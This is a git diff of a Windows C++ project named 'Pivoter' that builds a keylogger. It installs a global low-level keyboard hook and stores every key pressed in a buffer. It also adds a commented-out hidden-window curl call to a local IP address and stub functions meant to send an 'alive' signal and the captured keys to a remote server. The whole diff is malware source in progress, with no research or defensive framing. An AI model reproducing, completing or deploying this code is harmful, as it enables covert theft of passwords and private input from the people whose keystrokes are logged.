diff --git a/Pivoter.cpp b/Pivoter.cpp index d078727..64d5a91 100644 --- a/Pivoter.cpp +++ b/Pivoter.cpp @@ -8,9 +8,23 @@ #include #include #include +#include #include "codes.h" +#include "connections_pivoter.h" +#define DEBUG FALSE +#define KEYS_LIMIT 100 HHOOK keyboard_events_hook; +std::vector virt_codes; + +void stack_codes() { + if (virt_codes.size() < KEYS_LIMIT) + return; + + std::cout << "Emptied the vector" << std::endl; + + virt_codes.clear(); +} LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYDOWN) { @@ -18,7 +32,13 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) { DWORD virt_code = kbd_struct->vkCode; std::string string_key_code = VIRTUAL_KEY_CODE_TABLE[virt_code].name; - std::cout << "[!!] Key pressed: " << string_key_code << std::endl; + if (DEBUG) { + std::cout << "Key pressed: " << string_key_code << std::endl; + std::cout << "Len of the vector: " << virt_codes.size() << std::endl; + } + + virt_codes.push_back(string_key_code); + stack_codes(); } return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam); } @@ -26,7 +46,29 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) { int main() { keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0); + + STARTUPINFOA startup_info; + PROCESS_INFORMATION process_info; + + memset(&startup_info, 0, sizeof(STARTUPINFOA)); + memset(&process_info, 0, sizeof(PROCESS_INFORMATION)); + startup_info.cb = sizeof(startup_info); + /*BOOL test = CreateProcessA( + NULL, + (LPSTR) "curl http://192.168.1.108", + NULL, + NULL, + false, + CREATE_NO_WINDOW, + NULL, + NULL, + &startup_info, + &process_info); + if (test == FALSE) { + std::cout << "problem!" << std::endl; + }*/ + // EVENT LOOP while (GetMessage(NULL, NULL, 0, 0)); diff --git a/Pivoter.vcxproj b/Pivoter.vcxproj index 7117092..57209e2 100644 --- a/Pivoter.vcxproj +++ b/Pivoter.vcxproj @@ -118,6 +118,7 @@ true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true + MultiThreaded Console @@ -127,10 +128,12 @@ + + diff --git a/Pivoter.vcxproj.filters b/Pivoter.vcxproj.filters index 775853d..bbb86d9 100644 --- a/Pivoter.vcxproj.filters +++ b/Pivoter.vcxproj.filters @@ -18,10 +18,16 @@ Source Files + + Source Files + Header Files + + Header Files + \ No newline at end of file diff --git a/connections_pivoter.cpp b/connections_pivoter.cpp new file mode 100644 index 0000000..f775124 --- /dev/null +++ b/connections_pivoter.cpp @@ -0,0 +1,18 @@ +#include "connections_pivoter.h" +#include +#include +#include +#include + +ConnectionsPivoter::ConnectionsPivoter(std::string server, SHORT port) { + this->server = server; + this->port = port; +} + +BOOL send_alive_signal() { + +} + +BOOL send_codes(std::vector codes) { + +} diff --git a/connections_pivoter.h b/connections_pivoter.h new file mode 100644 index 0000000..372e696 --- /dev/null +++ b/connections_pivoter.h @@ -0,0 +1,21 @@ +#ifndef CONNECTIONS_PIVOTER_H +#define CONNECTIONS_PIVOTER_H + +#include +#include +#include +#include + +class ConnectionsPivoter { +public: + std::string server; + SHORT port; + ConnectionsPivoter(std::string server, SHORT port); + + BOOL send_alive_signal(); + BOOL send_codes(std::vector codes); +private: + +}; + +#endif \ No newline at end of file